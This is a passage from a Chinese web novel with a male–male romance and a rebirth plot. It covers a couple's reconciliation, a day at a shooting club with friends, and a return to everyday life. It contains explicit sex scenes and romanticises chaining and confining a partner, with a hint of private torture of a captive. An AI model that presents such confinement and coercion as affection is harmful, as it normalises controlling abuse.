谢淮扯着他脚踝上的绒皮,答非所问:“今晚绑手,不可以穿衣服。” 一边说一边试图解开戚栩的睡衣纽扣。 戚栩按住了他的手,拉开窗帘:“真行,重新定义今晚,这会儿才四点,你别没事找事。” 谢淮确实动了歪心思,没事找事:“拉上窗帘不就是今晚。” 戚栩佩服谢淮的歪理,不想和他谈论私密事,趁谢淮沉迷色欲主动挑起他主动被走入宋若明设的局的话题,还是希望得到从轻发落的结果。 “是我再次违反约定,不把拉钩当承诺,让你担心。是我欠考虑不顾的自身安全,入局想把宋若明按死,沈泽予不会不无缘无故失踪,最大可能性是让宋若明觉得你绑了他,让宋若明一换一。” “我成全他,我有自保的能力所以自负地觉得能够安然无恙地出局,当然,我也忽略了很多没有考虑过的突发因素,比如戚顾辉,比如宋若明忽然把我推下楼梯。” 说着戚栩观察着谢淮脸上的微表情,这段时间楼梯似乎成为谢淮的应激词。 应激的不是他自己,而是谢淮。 谢淮在家的时候允许走出卧室,但不允许他靠近楼梯,只能搭乘电梯,他不在家的时候,连卧室都不能出,只能乖乖带上锁链。 会频繁做噩梦,会惊醒,会在睡觉的时候紧紧地抱着他。 这一切一切都是应激反应的症状,同时近乎病态地对他缺乏安全感。 失去好似烙在了谢淮的心里,戚栩想知道他每晚惊醒梦到了什么,是他滚落楼梯的一幕吗。 谢淮扣紧了戚栩的手,微乎其微地颤抖,缓了好一会儿才说:“那些事已经过去了,尘埃落定,所有人都受到了应有的惩罚,你只需要待在我的身边,你想要报复谁,我替你做,你恨谁,告诉我,我来做所有的事。” 他真的无法承受戚栩在他面前再次滚落楼梯,比杀了他还要痛苦。 不是每个人都有失而复得的机会,万一呢,万一梦中的事成真了,也许已经成真了,前世今生,那时戚栩对梦里的他的回应,这是谢淮无法用科学解释的事。 戚栩安静地窝在谢淮的怀里听着他说的话,宛若要做他手里的一把尖刀。 他笑了笑:“那我要杀人呢,你要帮我递刀吗?” 谢淮说:“不会让你做这么危险的事,你我长命百岁,共度余生。” 戚栩叹息,慢慢地说:“曾经恨过吧,恨这世界的不公,也不甘这个世界设施舍我的一切,但如你所说,一切都过去了,我不在意与我无关的事,也不想你替我背负什么。” 他不知道谢淮在上一世在他死后有没有做了什么,这是不应该的,也没必要。 谢淮已经让他多活了一段时间,如果没有他每天在耳边说着那些话,他可能早就对这个世界失望透顶。 他看着谢淮继续说:“淮哥,我们现在才18岁,哦,还有一个星期你就19岁了,我向你保证,我们还会陪伴彼此度过很多年的生日,所以你不要对我失去信心,我会把你当成依靠,做危险的事之前会以你为出发点,永远不会发生让你失去我这件事。” 谢淮的心不可抑制地触动,目光缓缓扫过戚栩的脸:“如果你再次食言呢?” 戚栩索性毫无保留地袒露:“我愿意被你干死。” 谢淮是时间的掌控者,歪理变成真理,窗帘一拉,布偶被扔出了房间,夜幕提前降临。 他无法抑制住那场暴风雨,而戚栩无所顾忌地闯进了雨里,不惧怕乌云压顶,在那片雨里肆意地撒欢。 睡衣被丢落在地上,一颗纽扣也滚落床底,睡衣上的最后一颗,也预示着某个人亦然失去了耐心,本性暴露。 谢淮解开了戚栩脚踝的锁链,重新系在他的手腕上。 戚栩浑身潮红,眯着眼睛去看眼前的正人君子般的谢淮,白衬衫完整地束在腰上,似乎正在签署一项上亿的项目。 谢淮留意到戚栩的眼神,将人抱起来,舔舐轻咬着:“帮我脱。” 明明只是脱了一件衣服,戚栩已经轻喘,忍耐着解开谢淮的衬衫纽扣。 锁链撞上皮带扣子的瞬间发出清脆的一声,在戚栩耳里震耳欲聋。 戚栩抓住了他敞开的白衬衫,闭了闭眼:“要不要帮你戴?” 谢淮好有礼貌,也很绅士:“荣幸之至。” 只是他温柔的语气和动作截然相反,凶悍至极地让戚栩心惊。 凶相毕露不为过。 戚栩的脚趾蜷缩,紧绷着,不知过了多久才松下来,得以喘息。 他戴着锁链的手脱力地耷拉着,另一只手腕空空如也。 谢淮倏然又凶起来,想到了梦里那串再也没机会送出去的手串。 “宝宝,你的手串呢?” 戚栩几乎晕厥,手指无力抬起:“桌上。” 上一秒还躺在床上,下一秒就被抱起来,戚栩仰着修长的脖子失声,额头上的汗顺着脸颊往下流,滴落在谢淮的身上。 手串被谢淮重新戴在手腕,完整的,不可缺的。 “不要再摘下来了。” 戴一辈子。 戚栩没了回答的心思,也说不出一句话。 从床上到沙发,再到浴室,黏腻的皮肤在浴缸里得到了温热的抚慰。 戚栩靠在谢淮的怀里,抓着他的手贴在脸上,低头吻在了他的手心,像前世谢淮在病床前对他一样,不带任何欲望,纯洁的。 时隔一世的回应,对谢淮来说应该是太迟了,但对戚栩来说是刚开始。 然而谢淮不知道发什么疯,把戚栩按在了浴缸上,很快戚栩清爽的身体杂夹着汗水,沐浴露种种。 放满水的浴缸里不到一会儿全然洒了出来,慢慢地又被填满,来来去去多次。 在这个白天当黑夜的一晚,戚栩昏了又醒,偶然恍惚又换了一个地方,谢淮在他耳边一句又一句的宝宝,锁链被松开又被系上。 叮叮当当了一整晚,在戚栩眼前颠倒着,他的那一脚最终踹上了谢淮的身上:“你特么还让不让人睡觉。” 戚栩的力气已然被耗尽,这一脚没有一点威慑力。 谢淮埋在了戚栩的颈窝,听到他的承诺:“不会再丢下你一个人了。” 谢淮最后一次是温柔的,不安和后怕在得到的承诺中消失殆尽。 戚栩不知道自己这个承诺对谢淮有没有作用,应该是有的,当天晚上谢淮没有再被噩梦惊醒。 其实他也不确定谢淮有没有惊醒,他已经累得不省人事,全身上下被炙热贴着,还没有等到结束就陷入了昏睡中。 晕过去的前一秒他只知道他差一点就被。干死。 第89章 第 89 章 戚栩感觉到被人掐着下巴渡入一口冰凉的水, 他浑身无力睁不开眼睛,糖分慢慢起了作用,好半晌才意识到自己是真的晕了过去。 他睁开眼, 谢淮继续低头喂他葡萄糖。 昨天下午四点到现在, 戚栩扫了一眼床头柜的闹钟,已经早上十点,足足十八个小时未进食,中途他被喂了几管葡萄糖,而谢淮几乎滴水未进, 精力充沛抱着他从沙发到落地玻璃窗。 18岁的男大,惹不起,也躲不了。 戚栩连手指根都在发颤, 下半身更不用说了,稍微动一下一股酸软从骨子里透出来。 锁链已经被昨晚得到满足的谢淮摘下,戚栩换上了一身干净的睡衣, 他好不容易抬起手,指尖勾着谢淮的衣领, 有那么一点生气:“你特么真想把我干死啊。” 谢淮受着这份气,实话实说:“不会让你死,以后还想继续。” 戚栩还没来得及骂人, 又听到某个人执着于第一次的体验,问他:“昨晚爽吗?” 戚栩给了他一个白眼, 没回答他的话, 不服输似的反问:“昨晚夹得你舒服吗?” 谢淮:“……” 戚栩冷笑了一声, 谁怕谁, 干不过,还说不过吗。 其实这两个问题都白问, 如果两方都不爽,那一盒T也不会空了一半。 最后谢淮抱着戚栩到浴室洗漱,又抱着人到楼下用餐。 戚栩嫌谢淮的大腿硌得慌,在椅子上放了个软垫子才安心吃饭。 桌上都是些易消化的清淡食物,空腹太长时间不宜吃荤腥。 戚栩喝了两口粥,放下勺子,舌头疼,应该是被咬破了。 谢淮见状给他倒了杯豆浆,戚栩没好气地说:“以后能别咬舌头吗,吃不了东西。” 谢淮看着他:“抱歉,没忍住。” 戚栩也没听出来他有忏悔的语气,有一口没一口地喝牛奶:“对了,李恺兴和我说创智宣布破产,外资撤资,创智撑不住,如今人去楼空。” 创智的首席执行官Jackson虽然不是直接参与这次的绑架案,但有两次的通风报信,也算是参与者。 谢淮云淡风轻地说:“创智因偷税漏税被查,投资者见风使舵不再提供资金链,旧产业不创新继续随波逐流,注定会被时代淘汰。” 李恺兴说Jackson也把自己的私产投入进去,创智破产血本无归,同时因涉及刑事事件被遣返回国,一分没赚还亏完,也算是报应。 戚栩想起一件事:“秦家那边是不是因为我的事让秦老为难了。” 谢淮安慰他:“没事,官场那边的事我舅舅会解决,我们的事也只是其中一条导火线,他们牵连的事永比我们想象得多。” 秦家是戚栩从未接触过的家族,之前在病房前看守的人应该也是秦家的人。 虽然他从未见过秦家两老,可听过谢淮和秦老打电话,老人的威严从手机传到他耳边,让人肃然起敬。 戚栩被一杯豆浆给填饱,胃口有点差没再吃什么,被谢淮抱到了沙发上。 他百无聊赖地看着谢淮敲电脑,他浑身懒散懒得动弹,手机再次推送他同城的新闻,有关沈氏集团因换子之事闹得轰烈。 “戚国辉的视频背景我看着有些眼熟,是在爷爷的私人钓鱼庄园?” 戚栩不在乎视频里戚国辉所说的内容,对他来说也只是心知肚明没有戳破的事,前世这个真相在他死之前被沈家藏得严严实实,过了这么多年他失去了当年被认回来想把这件事公之于众的执着。 是否调换已经变得无所谓,亲情于他而言无关紧要。 但现在真相被曝光的手笔有沈老爷子的参与,让他不免想起老人在病床上最后一刻看着他愧疚的眼神。 戚栩知道,老人后悔为了家族的存亡而委屈了他十年。 沈氏是沈老爷子一辈子的心血,亲手建立栋栋高楼,其中的辛苦无法用言语叙述。 可如今沈老爷子亲手把大楼推倒,心血轰然倒塌。 谢淮看了一眼戚栩的手机,抬手拉起他腿上的毛毯:“爷爷知道我没有把戚国辉交给警察亲自找到我,向我说明让戚国辉将当年的真相录下来发布。” 戚栩心情复杂,老爷子这是为了他和沈家站在对立面,他不知道老人当时的心态是怎样,他宁愿老人和前世一样,护着他的心血长眠。 他的表情沉重了几分,老宅只剩下老人一个人。 谢淮似乎看穿了戚栩在想些什么,说道:“家里的两位老人今早去度假了,假期错峰出行,过年才回来。” 戚栩“啊”了一声,全然没想到两位老人这么洒脱,说走就走。 也是,糟心的事太多,把这些事留给后辈处理何妨不是一个完美解决方式。 戚栩忽然秋后算账:“你把戚国辉关起来的那几天做了什么?” 谢淮继续处理文件,随口说:“人没死,活着交给警方。” 戚栩当然知道戚国辉没死,要是死了,谢淮现在都不能,准确来说做不来昨晚的事,因为人在监狱。 戚国辉被谢淮关了几天,他知道是动了私刑,知道这件事的人都是谢淮的心腹,但万事无绝对。 “淮哥,戚国辉是个人渣,我不想因为这么一个垃圾让你的未来沾染上污迹,哪怕只有万分之一的可能,你的以后应该是璀璨的。” 谢淮抬起他的下巴,在他的唇上轻啄:“放心,我以后还想和你在床上厮混,真的没有做什么。” 戚栩只能暂时相信谢淮所说,他过后也问过老高,这几人闭嘴不谈。 在谢淮私宅住了几天后,戚栩身上的懒劲儿都给养回来了,简直就是饭来张口衣来伸手,当然,衣服是谁穿的也是谁脱的。 谢淮每天人模人样地回家,而他在家躺平,虽然线上会议和文件看不过来,但身上好像被某个人吸掉了精气,总觉得提不上劲了。 所以戚栩决定有计划地越狱,这几天谢淮已经不执着于锁他,他在这个家出入自由。 等到谢淮向他讨了上班吻后,他站在窗口看着迈巴赫离开,立即给徐亦辰打了个电话来接他。 这计划是徐亦辰帮他出的,就算最后被人赃并获,锅也有人背了。 很快,徐亦辰开着车就来,戚栩大摇大摆地出门,不出意料,没人阻拦,但在他上车的那一瞬,保镖通知了谢淮,并开车跟在他们车后。 戚栩一上车受到了360°无死角地慰问,司机在开车,三人在后排团团围住了他。 方倩一看戚栩的模样就知道这人最近被养得好,脸色红润,那唇色比她涂了口红还要红润。 “还想着寒假和你们去滑雪,只能下一次寒假了,还好我们有的是时间,以后可以慢慢计划。” 徐亦辰搭话:“滑雪算什么,以后咱们周游世界。” 他一顿看向戚栩:“戚少,你这身体没问题吧,需要我的随行人员准备中医吗?” 戚栩好久没见他们几个,心情也被带动起来,白了他一眼:“徐少真是好生活,我看你脸色苍白,熬夜过多导致的肾虚?可能你更需要中医。” 徐亦辰捂着心口,熟悉的感觉,好毒的嘴,然后中毒般倒在方倩的肩膀上。 蒋子慕关心道:“栩哥,你耳朵后面怎么红了,是不是那时候受的伤,怎么这么久都还没好。” 学艺术的总能发现一些隐秘的地方,戚栩戴围巾遮挡住脖子上的痕迹,但谢淮太喜欢咬人,浑身上下被咬了个遍,耳后的红痕是昨晚留下的痕迹,眼尖的蒋子慕看到了。 徐亦辰和方倩对视了一眼,心照不宣,然后对蒋子慕说:“小孩子别管这么多。” 他们三人没有询问沈家事宜,而是第一时间关心戚栩这个人,他们是戚栩的朋友,出发点当然是以戚栩本人出发。 而且他们又不是为了家族而去结交戚栩,而是戚栩本身的魅力吸引着他们。 中途,徐亦辰的手机响了,谢淮打来的电话。 徐亦辰晃了晃手机问:“我接还是不接。” 戚栩回他:“不接的话,可能会上演美式截停。” 徐亦辰还是接了,吊儿郎当地说:“谢少,你的男朋友在我手上,请支付今日的出行账单,不然我可让你的男朋友吃尽苦头。” 戚栩听笑了,徐亦辰果然是人来疯。 谢淮说:“他的口袋有我的黑卡,今天的所有费用从我的卡划出。” 徐亦辰开着免提,戚栩听到了这番话挑了挑眉,从左侧口袋拿出了一张黑卡。 谢淮什么时候把黑卡塞进去了,所以,这人是知道他今天越狱的计划,提前给他准备好路费。 不得不说一句真贴心。 徐亦辰被这一番骚操作弄得哑口无言:“戚栩,今天的计划不是天知地知你知我知,他怎么知道的,好惨,你在他面前已经完全没有秘密了。” 戚栩指尖夹着黑卡:“在黑卡面前,秘密不值一提。” 徐亦辰“啧”了一声,竖起大拇指:“还得是你,今天消费由谢少买单。” 方倩和蒋子慕两人热烈地鼓掌。 谢淮无视了这几个人的鬼哭狼嚎,和戚栩说话:“今晚回大平层还是别墅?” 戚栩想了想说:“好久没回大平层了。” “我让人去清洁。”手机那头的谢淮似乎正在处理工作,有人推门而入,“不能喝酒,今晚我会检查。” 徐亦辰有幸给这对苦鸳鸯当一个手机支架,龇牙咧嘴地听着这两人的对话。 挂了电话之后他问:“他怎么检查你喝没喝酒?” 戚栩直白地说:“接吻。” 三人:“……” 怎么就吃了一大口狗粮。 徐亦辰反手给了自己一个嘴巴子,多这个嘴问这个问题干什么。 在吃喝玩乐这方面,徐亦辰说第二没有人说第一。 今日的行程安排得满满的,第一个项目打进了戚栩的心里——射击。 私人射击俱乐部需要特别的贵宾卡才能进入,面向的客户一般都是徐亦辰这种上层人士。 徐亦辰见戚栩目不转睛地看着场内的抛靶机,扬眉:“我就知道你喜欢射击。” 戚栩收起眼神:“你又知道了?” 徐亦辰无比地自信:“你的飞镖扔得这么准,一看就知道练过,对射击射箭这种项目肯定有兴趣,这种爱好也和阿淮这么一致。” 通过这么小一件事就看得出他对射击感兴趣,果然是人精。 戚栩笑了起来,方倩和蒋子慕走在前头,他关心徐亦辰的脱单进程:“你的告白计划还没有实行吗?不知不觉又一年了。” 徐亦辰像只被放气的气球:“我其实准备在滑雪的时候告白,冰天雪地,在一片茫茫白雪天地间只有我们两个,多浪漫啊,谁知又黄了,怎么到我这里告白变得如此曲折。” 戚栩想了想,徐亦辰的几次告白中途停止好像都有关他。 “你能不能出其不意一次,大胆地上,择日不如撞日,就今天吧。” 徐亦辰:“……” “今天我的任务只是把你带出来玩乐,你这会儿让我告白,一点准备都没有,我从不来不打没准备的仗。” 戚栩温馨提醒:“你就使劲准备吧,有人抢先一步了。” 徐亦辰顺着他的眼神去看,穿着射击服扎着高马尾的方倩面前站着一个高挑的男人,而且这个男人他还认识。 他气冲冲地走上去,挡在了方倩面前:“程誉清,嘛呢。” 程誉清无辜地看着徐亦辰:“你这么大火气干什么?找你了么,我找倩儿有事。” 徐亦辰听到这个称呼咬咬牙,这人仗着和方倩同桌三年得了这么一个亲密称呼。 方倩抬手拂开了徐亦辰:“你挡着我了,人程誉清有事说。” 徐亦辰站着不动:“有事就说。” 戚栩没继续听下去,带着蒋子慕去另一边。 虽然蒋子慕是艺术生,在四人群里待久了什么都学会了一点,但不精,比如表姐空手道,他学会用气势吓人,徐亦辰的花钱如流水,他学会关水龙头,谢淮的射击,他学会了拿枪。 戚栩看着蒋子慕拿枪的姿势很标准,一看就知道是熟手。 砰的一声,脱靶。 戚栩扯了扯嘴角很给面子地没笑出来,鼓励着他姿势很漂亮。 他刚欲低头拿枪上膛,身后走过来一个男人,搭讪地模样说道:“你好,第一次来这里吗?” 戚栩穿着射击服显得腰窄腿长,身姿挺拔又青春洋溢,在一众人中鹤立鸡群,格外地惹眼。 他说:“第一次。” 男人笑了笑,不经意地露出自己专属射击服上的荣誉,这是俱乐部举办的射击比赛,他取得不菲的成绩。 “第一次来不太容易掌握,比如你手上的那把枪就不适合新手,我是俱乐部常客,需要的话我可以指导你一下。” 戚栩婉拒:“不需要,谢谢。” 男人还想说什么,只见戚栩戴上耳罩和护目镜,利索地上膛,在看不清的表情下手起枪落,非常果断。 显示屏上连续显示十环,吸引了全场的目光。 徐亦辰应付完程誉清,一转头看到更严重的一幕:“我靠,我戚少也太有魅力了吧,不是,阿淮的地位好像有点危险啊。” 第90章 第 90 章 戚栩在固定靶热完身又到移动靶那边, 移动靶对他来说才是真正的挑战。 他是射击一把好手,前世所有的发泄都在射箭和射击两项运动里,曾经被李恺兴调侃就算失业也可以为国争光, 28岁正式参加奥运的好年龄。 有些胆大的学着先前的男人走到戚栩面前搭讪, 不出意外得到的都是拒绝。 没有专业的设备,怎么看都是第一次来俱乐部,也不知道是哪家的少爷。 能进入这个俱乐部除了上层人士还有来消遣的各家少爷们。 比如刚刚和方倩聊天的程誉清,他是程家二少,程家主要做连锁品牌的餐饮企业, 和方家同一个小区,自小和方倩相熟。 不过程誉清字都认不全就被送入国际幼儿园,一路往上就读国际小学, 国际中学,由于家里管教不严,有点往纨绔子弟的方向走, 程家采取紧急措施,连忙将他调回重点高中, 也使用了钞能力,为学校捐赠了一个体育场。 高中三年的程誉清难得忽然醒悟,考上了F大, 这会儿暑假回首都带着朋友出来玩。 最近沈家发生的种种成为圈内热闻,程誉碰了碰徐亦辰:“他是你带来的?你们该不会真把人收进小队了吧, 那你的眼光好像也不怎么样, 话说, 他都可以, 为什么我不行,起码我比他认识你们长久。” 徐亦辰嫌弃地往退了一步:“怎么叫收进小队, 戚栩又不是我们的小弟,他是我们是朋友,还有,我和你八字不合,和你相处迟早把我气死。” “现在沈家一团糟,他不是应该避避风头,是不是过于招摇了?”程誉清扫了一圈拿着手机出来拍照的人,明显有些人已经认出了戚栩。 徐亦辰哼声道:“沈家的事又不关他的事,不能出来玩了?非得每天对着糟心的事。” 说着徐亦辰走到戚栩身边,蒋子慕和方倩也过去,如上一次在宴会般挡住了大部分探究的视线。 戚栩察觉到他们几人的举措,笑了下:“你们怎么不玩了。” 徐亦辰双手抱胸:“戚少,你打得也太准了吧,百发百中啊。” 方倩刚打了几发手感不是很好,问道:“戚栩,你学过吗?” 戚栩摘下护目镜:“自学算吗,算我天赋异禀,天生神枪手。” 几个人被戚栩的话逗乐,知道他没有被沈家的事所影响。 也是,如果被影响到就不是戚栩了,况且还有谢淮在他身边。 他们没玩一会儿,程誉清又来掺和一脚,说什么比一比。 徐亦辰更是以为这是挑衅,挺着脖子就应战。 四对四,环数相加,总数最大的胜利方。 那糟糕了,他们这边有个十发有九发脱靶的。 徐亦辰应战之后才后知后觉:“子慕,你能一秒速成十发九中吗?” 蒋子慕如实地说:“下辈子吧。” 徐亦辰心如死灰,觉得这次对决十拿九输。 好在程誉清那边也有个新手,甚至还比不上蒋子慕,起码蒋子慕姿势好看,得一个赏心悦目。 轮到戚栩上场,他也是没把这场比赛放在心上,直接上移动靶。 墙上的靶子是移动的,戚栩举着枪面色平淡,所有人不自觉地将呼吸放轻。 移动靶的速度不算快,但怎么说这也是一个小比赛,加上全场瞩目,徐亦辰想象一下自己站在那里都压力倍增。 戚栩没有犹豫太久,迅速开枪,围观的人还没有反应过来,戚栩又开第二枪。 两枪之间距离不到两秒,连续的枪声在众人的耳边炸起。 直到戚栩打完所有的子弹,摘下耳罩,他们才反应过来看显示屏,倒吸一口冷气,十发十中。 程誉清看到这一幕张了张嘴巴呆住了,他练了这么久的射击算什么。 戚栩打完之后也没有和其他人有所交流,回到座位上回复谢淮发来的信息。 最后徐亦辰四人以落后五环输了。 输了也认,不过今天的风头注定是他们的,谁有戚栩威风。 结束射击行程,程誉清像块狗皮膏药跟着他们,捻都捻不走。 甚至到晚上吃晚餐的时候也跟着走入包厢,徐亦辰忍无可忍:“程誉清,你够了吧,还要跟着过来蹭吃,你堂堂程家大少做这种事说出去也不怕被人笑。” 程誉清像是方倩的小弟一样,一直跟在她身边,他还至今为止还没有和戚栩说过几句话,很想问问他的射击是在哪里学的,如果可以的话,能不能教教他,他能付钱。 “你吃你的,我和倩儿说话又没吵着你。” 徐亦辰不知道程誉清心里所想,看着他一直缠着方倩只觉得碍眼。 落座之后程誉清向方倩打听:“倩儿,戚栩他是不是学过射击啊,怎么这么厉害。” 方倩扫了他一眼:“他没学过,你一路上问了我多少个戚栩的问题,想干什么吗?” 程誉清耸肩:“想交个朋友而已,你也知道我好交朋友。” 方倩警告他:“单纯交朋友可以,你别把你的那套用在戚栩身上,他不是这个圈子里的人,也和你不是一类人,别招惹他。” 方倩早就知道程誉清的性取向,之前在学校还看见过他和学弟在画室接吻。 程誉清一脸无辜:“我真的只是想交朋友,你们这个朋友有点高冷,我撩……和他说了几句他都不愿意搭理我,看来得更主动出击。” 方倩见他油盐不进也不好替谢淮和戚栩出柜,只能更为严肃地告知程誉清。 很显然程誉清没听进去,脑子里已经装满了在靶场上射击的戚栩。 那边戚栩的全然不知程誉清对他起的什么心思,他收到谢淮的信息,说已经到门口。 混吃等死:【888包厢。】 X:【不亲自来接我吗?】 混吃等死:【你好大的面子,还要我来接你。】 X:【不大吗?你不是说过好大。】 混吃等死:【……】 戚栩反盖手机,拿起杯子喝了一口水,不太想承认自己说过这些话,情到浓时调情而已,人之常情。 他起身出去接面子大的谢淮。 程誉清后脚跟着戚栩出去。 徐亦辰等到程誉清离开,迫不及待地问方倩:“他一直缠着你,和你聊什么了?” 方倩说:“聊主动出击……” 话还没说完,徐亦辰一身炸毛拉着方倩离开包厢。 888包厢里,蒋子慕刚埋头吃完肥美的蟹腿,一抬头,整张桌子只剩下他一个人。 人都去哪了。 戚栩刚走到电梯口,电梯门打开,谢淮从里面走了出来。 戚栩挑眉:“面子大,不是说让我下去接你吗?” 谢淮自然地搂着戚栩的腰往外走:“今晚我还是想上床睡觉,所以还是让男朋友在电梯口接我就好。” 戚栩失笑:“我又不是这么不讲道理的人,下楼接男朋友而已,不至于让你今晚上不了床。” 他不是不讲道理的人,但谢淮好像是的。 谢淮问:“在射击俱乐部玩得开心吗?” 戚栩回:“还行,适当地放松一下。” 说着戚栩发现这不是往包厢走的路,怎么拐进吸烟区了。 直到他听到谢淮说:“好多的人在看你。” 戚栩听出了一丝别有深意的意思,将人抵在窗边,似笑非笑地问:“吃醋了?” 谢淮对这些事一般都很坦然,点头:“吃醋了,不想让别人看你,想把你锁起来。” 又锁上了,戚栩故意放低声音挑衅他:“淮哥,是你放我出来的,难道你还想锁我一辈子不成?” 不只是语言挑衅,甚至倾身在谢淮的耳侧轻轻吹着气,湿润的唇若即若离地碰着他的耳垂。 谢淮整个人贴紧他,搂着腰的手沿着后腰一路往下探入衣摆之际,暧昧地游走着,呼吸停留在戚栩的侧脸,不紧不慢地告知他心中所想。 “如果你愿意的话,我会锁你一辈子。” 戚栩听笑了,这个时候还想着他是否愿意,询问他意见呢。 他眼里藏不住笑意,主动拉着谢淮的领带往前带,敞开心扉地说:“如果你想把我锁起来的话,我愿意的。” 谢淮猛然按住戚栩,后者知道他想做什么,抬手勾住了他的颈脖,让他好发力。 带着失控般的吻落了下来,不带任何情欲,单纯地掠夺,想占为己有。 还是那句话,他们两个本质上都是疯子,一个有病,两个无可救药。 谢淮想把他锁起来,在他身上拥有超强的占有欲,他接受良好,默许对方在他身上施展任何阴暗的想法。 只是不全然是接受,时不时亮出利爪剐蹭,对方不会受伤,但会痒。 当然,他知道谢淮不会真的把他锁起来,舍不得,所以在过过嘴瘾这方面满足他。 这个时候吸烟区外响起匆匆地脚步声,来人正是前来寻找戚栩的程誉清。 他无意中闯入这个灯光昏暗的吸烟区,一开始只注意到戚栩的背影,没注意到和他交叠在一起的人。 “戚……” 谢淮闻声抓着戚栩的后颈抬眸,冰冷的视线直直落在程誉清身上,使得程誉清顿时像是置身于冰窟,双脚结冰被固定在原地无处可去。 程誉清在不远处,清楚地听到戚栩情动时的声音,谢淮再次抬眸,这一次程誉清看出了他眼中狠厉的杀意。 程誉清心中一震,身上像是被压了一块巨石,艰难地转身,举步维艰,直到走出吸烟区身上的猎杀之意才消失,他慌不择路闯入了楼梯间,又撞见了两个吻在一起的人。 戚栩只觉得谢淮吻得越发狠,推着他往侧躲避,嘴上含糊着:“阿淮。” 谢淮终究是心软,也恨不得能瞬移回到家里的大床上。 戚栩靠着谢淮休息片刻,喘息拉着他的手去看腕表时间:“你还没吃饭吧。” 谢淮另一只手支撑着他:“不想吃饭,想吃你。” 戚栩骂了他一句:“真行,我是饭啊,吃我就能续命。” 谢淮咬着他的耳朵说:“甜的。” 戚栩嘶了一声,给了他一拐肘:“大庭广众的,别骚。” 两人在吸烟区休整片刻才重新回到包厢。 888包厢很齐人,在戚栩和谢淮走进包厢的时候无人抬眸看他们。 连一向见到谢淮话不断的徐亦辰此时像被人关掉声带开关,按一按才蹦出一句话,而且脸上还自带不明红晕。 蒋子慕反倒成了餐桌上最多话的人,全靠他没有眼力见才维持好今晚这顿饭,没有被掀桌。 不然这桌子上没一个能吃饱饭。 气氛怪异,但还是相安无事地吃完这顿饭。 最后,程誉清拿起酒杯给蒋子慕敬酒:“子慕兄弟,还得是你耐得住寂寞,你以后一定能做成大事。” 蒋子慕不明所以地和他碰杯,权当是夸赞自己的话。【魔蝎小说 mo xie xs .c om】 90-98 第91章 第 91 章 戚栩回到大平层了, 也回归正常生活,所谓正常生活是戚栩那天对谢淮的承诺,说出我愿意那三个字, 起码他的手腕和脚踝没再出现过锁链。 也可能是因为在大平层, 戚栩的地盘,谢淮有所收敛,毕竟在大平层他还有租客的身份,只是晚上睡觉的时候从另一间房和房东睡在了一起。 别墅里的布偶猫也被带了过来,黏戚栩黏得很, 每天早上蹦跶到他们床上。 偏偏喜欢横在戚栩和谢淮中间,屁股对谢淮,头埋进戚栩的颈窝。 谢淮每天一早起床睁眼就能看到一束毛, 今天也不例外,甚至那毛团还发出呼噜呼噜的声音,在戚栩的肩膀上踩奶。 戚栩被踩醒, 还没睡醒扫了一眼神猫咪,抬手想摸, 下一秒猫咪腾空而起扔到床尾,转而落入掌心是一头不算柔软的头发。 猫咪的位置被谢淮取而代之,他窝在戚栩的颈侧, 温热的呼吸喷洒在皮肤上。 戚栩缩了一下脖子,颇为无语:“你也要踩奶?” 谢淮并没有回答戚栩的问题, 钻入了被窝用行动来告诉对方他并不想踩奶。 刚醒戚栩的脑子还转不动, 直到睡衣被撩起, 谢淮蹭着他的胸膛。 然后在他耳边轻声:“不踩奶, 要吃。” 不到一会儿戚栩脸色潮红隐忍着什么,床头忽然想起一声委屈巴巴的猫咪叫, 他忍无可忍一脚给谢淮踹开。 “狗东西,别咬。” 谢淮将戚栩卷入被子,两人在床上厮混着,打了个床架,胜负未定,今晚继续。 洗漱的时候,戚栩对着镜子看了一眼胸膛上的红痕,旧痕未消又添新咬痕。 江山易改本性难移,谢淮这口欲期是改不了,冬天还好,能遮挡,到了夏天穿着体恤一点遮不了。 什么毛病,戚栩无可奈何,转身走出浴室经过衣帽间却看到谢淮后背上抓痕。 一物还一物,抵消了。 两人洗漱完坐在餐厅吃早餐,戚栩确认今天的行程才点开了徐亦辰一大早发来的信息私聊对话框。 一一看完对方发来的信息后,把手机递给谢淮:“徐亦辰告白了,不过听他的意思似乎不是他主动,他现在很懊恼要不要搞一场正式的告白。” 谢淮给对面发了条语音:“别打扰我男朋友吃早餐。” 徐亦辰很快就回复了语音:“惹惹惹,有男朋友了不起,我有女朋友,我问你意见了吗?赶紧把手机还给我戚少。” 脱单了徐亦辰无所畏惧,虽然主动变成被动,但好歹结束了18年的单身生活。 谢淮给戚栩夹了个灌汤包,把手机放在自己手边,让他专心吃早餐。 戚栩一边吃早餐一边说:“徐亦辰应该是认真的吧。” 这两人上一世应该没有这一遭,不知是意外还是错过,他最后听到徐亦辰的消息是方倩所说即将要订婚。 明明少年时期两情相悦,却无奈错过,如今两人定情,却不知会不会重蹈覆辙,毕竟前世的结局对两人来说着实是遗憾。 谢淮说:“他16岁的时候忽然和我说好像喜欢上一个人,他藏不住事,一次度假就让我知道他喜欢的人是方倩,徐亦辰这个人虽然看着吊儿郎当,可他知道高中是关键时期,一心想着是等高考完方倩成年的时候才告白,他瞻前顾后,犹犹豫豫,被方倩夺得主动权也是正常。” “至于是否认真,他是认真的,徐家教不出花心的人,你也不必担心徐方两家,两家的夫人义结金兰,如果她们知道两人的事可能比他们还开心。” 戚栩听到谢淮的话不免放心,继而又知道原来谢淮对徐亦辰犹豫的性格不满,嘴角一扯:“高中时期不告白不很正常,很有可能会影响高考。” 谢淮看着戚栩,面前的人离高中时期过去不过是大半年时间,学生卡上的照片和现在的模样没怎么变,但从气质感觉上却相差过大,宛若变了一个人。 变得爱笑,变得明朗,变得…… 似乎也没变,谢淮认识戚栩的时候他就是这个性格,像个具有生命力的太阳一样闯进他的生命里。 “如果我和你在同一个高中,我会向你告白。” 戚栩一愣,撑着下巴说:“真想早恋?你不怕影响我学习。” 谢淮说:“作为男朋友帮你补回来。” 戚栩想到期末考是谢淮给他划的重点,可以想象得到如果他们在同一个高中这人会如何逼他学习。 好在,他们已经上大学了。 吃完早餐后,谢淮把戚栩送到云瑞,陈威和老高开着车跟在他们身后。 戚栩刚解开安全带,被谢淮抓着后颈凑了过来。 戚栩失笑看着西装革履的谢淮,侧着头亲了他一口。 谢淮不满足,最后两人交了个缠绵的上班吻。 不巧,两人在车里接吻的一幕被李恺兴和钟艾明看到。 等到戚栩下车,迈巴赫离开,李恺兴才匆匆地过来:“老板,你怎么回公司了?” 沈氏风波在外依旧轰烈,所有记者都想采访戚栩这个当事人。 